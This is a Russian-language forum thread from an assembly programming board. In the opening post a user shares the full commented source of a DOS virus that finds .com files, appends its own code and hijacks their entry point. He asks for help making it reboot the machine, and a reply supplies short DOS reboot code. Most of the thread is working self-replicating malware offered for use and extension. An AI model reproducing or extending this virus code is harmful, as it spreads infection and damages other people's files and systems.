Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Перезагрузка компа 
:(
    Опции темы
Christoph
Дата 19.10.2009, 18:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 667
Регистрация: 23.1.2008
Где: Харьков

Репутация: нет
Всего: 11



Есть код вируса, я знаю что может такое и нельзя делать, но вирус безвредный он заражает COM файлы ну увеличивает сам комп файл и все, помогите дописать код, так чтоб по завершеню проги, комп перезагружался, спасибо за понимание

Код

prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    start:     jmp vir                ;Передача управ-
                                      ;ления вирусному
                                      ;коду ...
           org 110h

    vir:       push ds                ;Сохраним DS ...
                                      ;Корректируем
               mov ax,ds              ;регистр DS  ...
               db 05h                 ;Код команды
    add_to_ds: dw 0                   ; " ADD AX,00h "
           mov ds,ax              ;AX -> DS    ...

    fresh_bytes:
           mov al,old_bytes
           mov cs:[100h],al
           mov al,old_bytes+1
           mov cs:[101h],al
           mov al,old_bytes+2
           mov cs:[102h],al

           mov cx,80h             ;Размер DTA -
                                      ;128 байт ...
           mov bx,80h             ;Смещение к DTA
           lea si,old_dta         ;Адрес массива
    save_dta:
           mov al,byte ptr cs:[bx];Читаем из DTA
                                      ;байт и  перено-
           mov ds:[si],al         ;сим его в мас-
                                      ;сив ...
           inc bx                 ;К новому байту
           inc si                 ;
           loop save_dta          ;Цикл 128 раз

    find_first:
           mov ah,4eh             ;Поиск первого
                                      ;файла ...
           mov cx,00100110b       ;archive, system
                                      ;hidden
           lea dx,maska           ;Маска для поис-
                                      ;ка
           int 21h
           jnc r_3                ;Нашли !
           jmp restore_dta        ;Ошибка !

    find_next: mov ah,3eh             ;Закроем  непод-
           int 21h                ;ходящий файл...
           jnc r_2
           jmp restore_dta        ;Файл нельзя за-
                                      ;крыть !

    r_2:       mov ah,4fh             ;И найдем сле-
           int 21h                ;дующий ...
           jnc r_3                ;Файл найден !
           jmp restore_dta        ;Ошибка !

    r_3:       mov cx,12              ;Сотрем в буфере
           lea si,fn              ;"fn" имя  пред-
    destroy_name:                     ;ыдущего файла
           mov byte ptr [si],0    ;
           inc si                 ;
           loop destroy_name      ;Цикл 12 раз ...

           xor si,si          ;И запишем в бу-
    copy_name: mov al,byte ptr cs:[si+9eh]
                                      ;фер имя только
           cmp al,0               ;что найденного
                                      ;файла ...
           je open                ;В конце имени в
           mov byte ptr ds:fn[si],al
                                      ;DTA всегда сто-
               inc si                 ;ит ноль, его мы
           jmp copy_name          ;и хотим достичь

    open:      mov ax,3d02h           ;Открыть файл
                                      ;для чтения и
                                      ;записи ...
           lea dx,fn              ;Имя файла ...
           int 21h                ;Функция DOS
           jnc save_bytes
           jmp restore_dta        ;Файл не откры-
                                      ;вается !

    save_bytes:                       ;Считаем три
                                      ;байта :
           mov bx,ax              ;Сохраним дес-
                                      ;криптор в BX
           mov ah,3fh             ;Номер функции
           mov cx,3               ;Сколько байт ?
           lea dx,old_bytes       ;Буфер для счи-
                                      ;тываемых данных
           int 21h
               jnc found_size
           jmp close              ;Ошибка !

    found_size:
           mov ax,cs:[09ah]       ;Найдем размер
                                      ;файла
    count_size:mov si,ax
           cmp ax,64000           ;Файл длиннее
                                      ;64000 байт ?
           jna toto               ;Нет ...
           jmp find_next          ;Да - тогда он
                                      ;нам не подходит
    toto:      test ax,000fh          ;Округлим размер
           jz krat_16             ;до целого числа
           or ax,000fh            ;параграфов    в
           inc ax                 ;большую сторону
    krat_16:   mov di,ax              ;И  запишем  ок-
                                      ;ругленное  зна-
                                      ;чение в DI ...
                                      ;Расчитаем  сме-
                                      ;щение для пере-
                                      ;хода на код ви-
                                      ;руса ...
           sub ax,3               ;Сама    команда
                                      ;перехода  зани-
                                      ;мает три байта!
           mov byte ptr new_bytes[1],al
                                      ;Смещение найде-
           mov byte ptr new_bytes[2],ah
                                      ;но !
           mov ax,di              ;Сколько   пара-
           mov cl,4               ;графов содержит
           shr ax,cl              ;заражаемая про-
                                  ;грамма ?
               dec ax                 ;Учитываем дейс-
                                      ;твие директивы
                                      ;ORG 110h ...
           mov byte ptr add_to_ds,al
                                      ;Корректирующее
           mov byte ptr add_to_ds+1,ah
                                      ;число найдено !

           mov ax,4200h           ;Установим ука-
           xor cx,cx              ;затель на пос-
           dec si                 ;ледний байт
           mov dx,si              ;файла ...
           int 21h
           jnc read_last
           jmp close              ;Ошибка !

    read_last:                        ;И считаем этот
           mov ah,3fh             ;байт в ячейку
               mov cx,1               ; " last " ...
           lea dx,last
           int 21h
           jc close                  ;Ошибка !

           cmp last,'7'           ;" last " =" 7 "
           jne write_vir          ;Нет - дальше
           jmp find_next          ;Да- поищем дру-
                                      ;гой файл ...

    write_vir: mov ax,4200h           ;Установим  ука-
           xor cx,cx              ;затель на конец
           mov dx,di              ;файла ...
           int 21h
               jc close               ;При ошибке -
                                  ;закроем файл
               mov ah,40h             ;Запишем  в файл
               mov cx,vir_len         ;код вируса дли-
               lea dx,vir             ;ной vir_len
               int 21h
               jc close                  ;При ошибке -
                                  ;закроем файл
    write_bytes:
           mov ax,4200h           ;Установим  ука-
           xor cx,cx              ;затель на нача-
           xor dx,dx              ;ло файла
           int 21h
           jc close               ;При ошибке -
                                  ;закроем файл

               mov ah,40h             ;Запишем в  файл
               mov cx,3               ;первые три бай-
               lea dx,new_bytes       ;та ( команду
               int 21h                ;перехода ) ...

    close:     mov ah,3eh             ;Закроем   зара-
               int 21h                  ;женный файл ...

    restore_dta:
           mov cx,80h             ;Размер DTA -
                                      ;128 байт ...
           mov bx,80h             ;Смещение к DTA
           lea si,old_dta         ;Адрес массива
    dta_fresh:
           mov al,ds:[si]         ;Читаем из  мас-
                                      ;сива "old_dta"
           mov byte ptr cs:[bx],al;байт и  перено-
                                      ;сим его в DTA
           inc bx                 ;К новому байту
           inc si                 ;
           loop dta_fresh         ;Цикл 128 раз

           pop ds                 ;Восстановим
                                      ;испорченный DS
           push cs                ;Занесем в стек
                                      ;регистр CS
           db 0b8h                ;Код команды
    jump:      dw 100h                ;mov ax,100h
           push ax                ;Занесем в стек
                                      ;число 100h
           retf                   ;Передача управ-
                                      ;ления на задан-
                                      ;ный адрес ...

    ;\*Data area ...

    old_bytes db   0e9h               ;Исходные три
                                      ;байта  заражен-
              dw   vir_len + 0dh      ;ной программы

    old_dta   db   128 dup (0)        ;Здесь вирус
                                      ;хранит исходную
                                      ;DTA программы
    maska     db   '*.com',0          ;Маска для поис-
                                      ;ка файлов ...
    fn        db   12 dup (' '),0     ;Сюда помещается
                                      ;имя файла -жер-
                                      ;твы ...
    new_bytes db   0e9h               ;Первые три бай-
              db   00h                  ;та вируса в
              db   00h                  ;файле ...

    last      db   0                  ;Ячейка для пос-
                                      ;леднего байта
              db   '7'                ;Последний байт
                                      ;вируса в файле

    vir_len   equ   $-vir             ;Длина вирусного
                                      ;кода ...

    prg_end:   mov ah,4ch             ;Завершение  за-
               INT 21H                ;пускающей прог-
                                      ;раммы ...

              db '7'                  ;Без этого  сим-
                                      ;вола вирус  за-
                                      ;разил бы сам
                                      ;себя ...
     prg ends   
   ;Все ASM - прог-
    end start                         ;раммы  заканчи-
                                      ;ваются примерно
                                      ;так .




--------------------
user posted image
PM MAIL ICQ   Вверх
Mikl_
Дата 20.10.2009, 02:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 537
Регистрация: 9.11.2007

Репутация: 8
Всего: 14



Christoph
Перезагрузить компьютер на котором установлена Windows NT, 2k, XP из COM-программы не получится. Вот если у тебя установлен DOS то код перезагрузки занимает 8 байт
Код
.model tiny
.code
org 100h
start: jmp dword ptr reboot
reboot dd 0FFFF0000h
end start
 то же самое но в машинных кодах можно уложить в 5 байт
Код
.model tiny
.code
start: 
db 0EAh,0,0,0FFh,0FFh
end start
 о том как перезагрузить или выключить компьютер под WinXP смотри здесь
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Asm для начинающих"
MAKCim
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой КОД.
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim.

 
 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Asm для начинающих | Следующая тема »


 




[ Время генерации скрипта: 0.0658 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.